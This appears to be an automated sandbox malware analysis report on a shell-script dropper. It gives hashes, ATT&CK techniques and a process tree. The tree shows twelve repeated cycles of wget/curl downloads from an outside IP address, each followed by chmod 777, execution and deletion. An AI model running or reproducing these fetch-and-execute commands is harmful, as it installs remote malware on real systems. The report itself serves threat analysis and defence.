25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9

Analysis

max time kernel
58s
max time network
60s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
Size 1KB
Sample260828-hsvb6stxcv
SHA256 25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9
MD5 bb86c5614957830eb8589e28f90d7bd0
SHA1 addf202eeb1e7a4305cb6dbae7c477570758fd1f
SHA512 6a461b6edbe5c94fde007ea6fa37e7cc74c08dce082ef6027d99a785026b2e0425375fb3119d3b628112e9d933461127f2dde300bdf46e56f52c3b4488756e6c
TLSH
T1E03198AF08251A311013CEDD77A23448729EA5E72C9FD7D4D85D1EAEC28978CF262F49
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
903	chmod
750	chmod
761	chmod
768	chmod
775	chmod
792	chmod
811	chmod
834	chmod
848	chmod
855	chmod
862	chmod
879	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/4d92bf	751	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/820100	762	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/b5b154	769	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/edcc1f	776	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/3d5792	794	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c639a2	812	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/2fd830	835	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/362bf1	849	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c84371	856	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/a4c6cc	863	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/47c50c	880	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/8ba2d2	904	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/c84371	curl
File opened for modification	/tmp/a4c6cc	curl
File opened for modification	/tmp/edcc1f	curl
File opened for modification	/tmp/362bf1	curl
File opened for modification	/tmp/47c50c	curl
File opened for modification	/tmp/8ba2d2	curl
File opened for modification	/tmp/4d92bf	curl
File opened for modification	/tmp/820100	curl
File opened for modification	/tmp/b5b154	curl
File opened for modification	/tmp/3d5792	curl
File opened for modification	/tmp/c639a2	curl
File opened for modification	/tmp/2fd830	curl

/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
1⤵
- Executes dropped EXE
PID:725
- /usr/bin/wget
  wget http://5.182.210.174/4d92bf
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://5.182.210.174/4d92bf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 4d92bf
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/4d92bf
  ./4d92bf bc
  2⤵
  PID:751
- /bin/rm
  rm -rf 4d92bf
  2⤵
  PID:754
- /bin/rm
  rm -rf 4d92bf.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.174/820100
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.174/820100
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 820100
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/820100
  ./820100 bc
  2⤵
  PID:762
- /bin/rm
  rm -rf 820100
  2⤵
  PID:764
- /bin/rm
  rm -rf 820100.1
  2⤵
  PID:765
- /usr/bin/wget
  wget http://5.182.210.174/b5b154
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://5.182.210.174/b5b154
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod 777 b5b154
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/b5b154
  ./b5b154 bc
  2⤵
  PID:769
- /bin/rm
  rm -rf b5b154
  2⤵
  PID:771
- /bin/rm
  rm -rf b5b154.1
  2⤵
  PID:772
- /usr/bin/wget
  wget http://5.182.210.174/edcc1f
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://5.182.210.174/edcc1f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 edcc1f
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/edcc1f
  ./edcc1f bc
  2⤵
  PID:776
- /bin/rm
  rm -rf edcc1f
  2⤵
  PID:778
- /bin/rm
  rm -rf edcc1f.1
  2⤵
  PID:779
- /usr/bin/wget
  wget http://5.182.210.174/3d5792
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://5.182.210.174/3d5792
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 3d5792
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/3d5792
  ./3d5792 bc
  2⤵
  PID:794
- /bin/rm
  rm -rf 3d5792
  2⤵
  PID:797
- /bin/rm
  rm -rf 3d5792.1
  2⤵
  PID:798
- /usr/bin/wget
  wget http://5.182.210.174/c639a2
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://5.182.210.174/c639a2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 c639a2
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/c639a2
  ./c639a2 bc
  2⤵
  PID:812
- /bin/rm
  rm -rf c639a2
  2⤵
  PID:815
- /bin/rm
  rm -rf c639a2.1
  2⤵
  PID:817
- /usr/bin/wget
  wget http://5.182.210.174/2fd830
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://5.182.210.174/2fd830
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 2fd830
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/2fd830
  ./2fd830 bc
  2⤵
  PID:835
- /bin/rm
  rm -rf 2fd830
  2⤵
  PID:838
- /bin/rm
  rm -rf 2fd830.1
  2⤵
  PID:840
- /usr/bin/wget
  wget http://5.182.210.174/362bf1
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://5.182.210.174/362bf1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/chmod
  chmod 777 362bf1
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/362bf1
  ./362bf1 bc
  2⤵
  PID:849
- /bin/rm
  rm -rf 362bf1
  2⤵
  PID:851
- /bin/rm
  rm -rf 362bf1.1
  2⤵
  PID:852
- /usr/bin/wget
  wget http://5.182.210.174/c84371
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://5.182.210.174/c84371
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod 777 c84371
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/c84371
  ./c84371 bc
  2⤵
  PID:856
- /bin/rm
  rm -rf c84371
  2⤵
  PID:858
- /bin/rm
  rm -rf c84371.1
  2⤵
  PID:859
- /usr/bin/wget
  wget http://5.182.210.174/a4c6cc
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://5.182.210.174/a4c6cc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/chmod
  chmod 777 a4c6cc
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/a4c6cc
  ./a4c6cc bc
  2⤵
  PID:863
- /bin/rm
  rm -rf a4c6cc
  2⤵
  PID:865
- /bin/rm
  rm -rf a4c6cc.1
  2⤵
  PID:866
- /usr/bin/wget
  wget http://5.182.210.174/47c50c
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://5.182.210.174/47c50c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod 777 47c50c
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/47c50c
  ./47c50c bc
  2⤵
  PID:880
- /bin/rm
  rm -rf 47c50c
  2⤵
  PID:883
- /bin/rm
  rm -rf 47c50c.1
  2⤵
  PID:885
- /usr/bin/wget
  wget http://5.182.210.174/8ba2d2
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://5.182.210.174/8ba2d2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod 777 8ba2d2
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/8ba2d2
  ./8ba2d2 bc
  2⤵
  PID:904
- /bin/rm
  rm -rf 8ba2d2
  2⤵
  PID:906
- /bin/rm
  rm -rf 8ba2d2.1
  2⤵
  PID:908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4d92bf

Path /tmp/4d92bf
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download